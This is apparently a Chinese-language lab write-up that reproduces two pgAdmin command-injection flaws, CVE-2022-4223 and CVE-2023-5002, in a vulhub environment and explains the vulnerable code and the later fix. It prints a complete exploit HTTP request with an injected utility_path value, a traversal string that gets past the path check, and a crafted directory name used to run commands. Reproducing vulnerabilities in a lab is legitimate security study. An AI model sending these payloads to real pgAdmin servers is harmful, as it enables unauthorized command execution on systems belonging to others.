0%

pgAdmin命令执行漏洞

注意到p神在paper发的一篇跟pgAdmin命令执行漏洞有关的文章,所以利用vulhub靶场环境复现一下

pgAdmin命令执行漏洞

参考文章

简介

pgAdmin是一种开源的数据库管理工具,它用于管理和操作PostgreSQL数据库。PostgreSQL是一种功能强大的关系型数据库系统,而pgAdmin则是一个用于管理和维护这个数据库系统的图形用户界面(GUI)工具。

本文复现关于pgAdmin的两个命令执行漏洞,结合源码进行分析 源码链接

pgAdmin <= 6.16 未授权命令执行漏洞(CVE-2022-4223)

pgAdmin支持在后台设置psql、pg_dump、pg_restore等PostgreSQL数据库工具所在的基础路径,在保存设置前,用户可以执行validate_binary_path这个API来检查路径是否合法。

这里用户传入的utility_path拼接上可执行文件名后,直接拼接进subprocess.getoutput()方法执行。这是一个非常简单的命令注入漏洞。而且这个API没有增加@login_required修饰器,任意用户均可调用这个函数,导致了在/misc/validate_binary_path路由下的未授权命令执行漏洞。

在本地搭建环境,访问5050端口是登录界面

然后我们抓包在accept头添加application/json,成功获取token值

将获取到的session idcsrf token填写进去发包,并添加上执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /misc/validate_binary_path HTTP/1.1
Host: 192.168.132.1:5050
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
X-pgA-CSRFToken: IjMyODM1ZTI2OGEzNjM3NmRiYzIyNDQ0YTFkNjQ3YzI4NWZmNDMwZmQi.ZhVW6g.9aUPlOreLBBdKoERuk8XTHn2bvE
Accept: application/json,text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Cookie: pga4_session=698f6cec-3920-409a-8a39-cee41d7b7815!5R1QUKdHv1IxxFVR1iKc3HwVy0gN3hizTfVj3xTSjhI=
Content-Length: 27

{"utility_path":"a\";id;#"}

payload将前面的双引号闭合后,用#将后面代码注释掉

1
subprocess.getoutput('"a\";id;#" --version'.format(full_path))

成功命令执行,返回包如下

pgAdmin <= 7.6 后台命令执行漏洞(CVE-2023-5002)

官方对于CVE-2022-4223漏洞,做了如下两个处理:

  • validate_binary_path函数增加@login_required装饰器,限制未授权的用户访问相关接口
  • 使用os.path.exists()检查用户传入的路径是否有效

@login_required装饰器是由Flask-Login这个第三方库提供的能力,并不存在绕过的问题,所以这个API后续就没法再无授权的情况下利用了。

对于使用os.path.exists()检查用户传入的路径是否存在,我们可以有两个绕过方法:

  • 使用../跳转到一个存在的目录,如:/path/to/exist/folder/a";id;/../
  • 通过文件上传等功能创建一个文件名中包含Payload的文件

对于第一个方法来说(注意php和python环境都行)判断文件存在时,Windows会将路径normalize后再判断,Linux会逐级判断文件夹是否存在,因此具体执行结果也会不同

Windows下返回结果为True

而Linux下返回结果为False

所以在Windows环境下我们可以直接绕过os.path.exists()继续注入命令,但Linux下则无法实现命令执行

搭建环境,使用帐号vulhub@example.com和密码vulhub登录pgAdmin

然后访问工具 => 存储管理器,创建目录";id;#

这样在与/var/lib/pgadmin/storage/vulhub_example.com/拼接后的绝对路径,用于漏洞利用

访问设置 => 配置 =>路径界面,然后添加上刚刚拼接的绝对路径,点击验证

1
/var/lib/pgadmin/storage/vulhub_example.com/";id;#

成功命令执行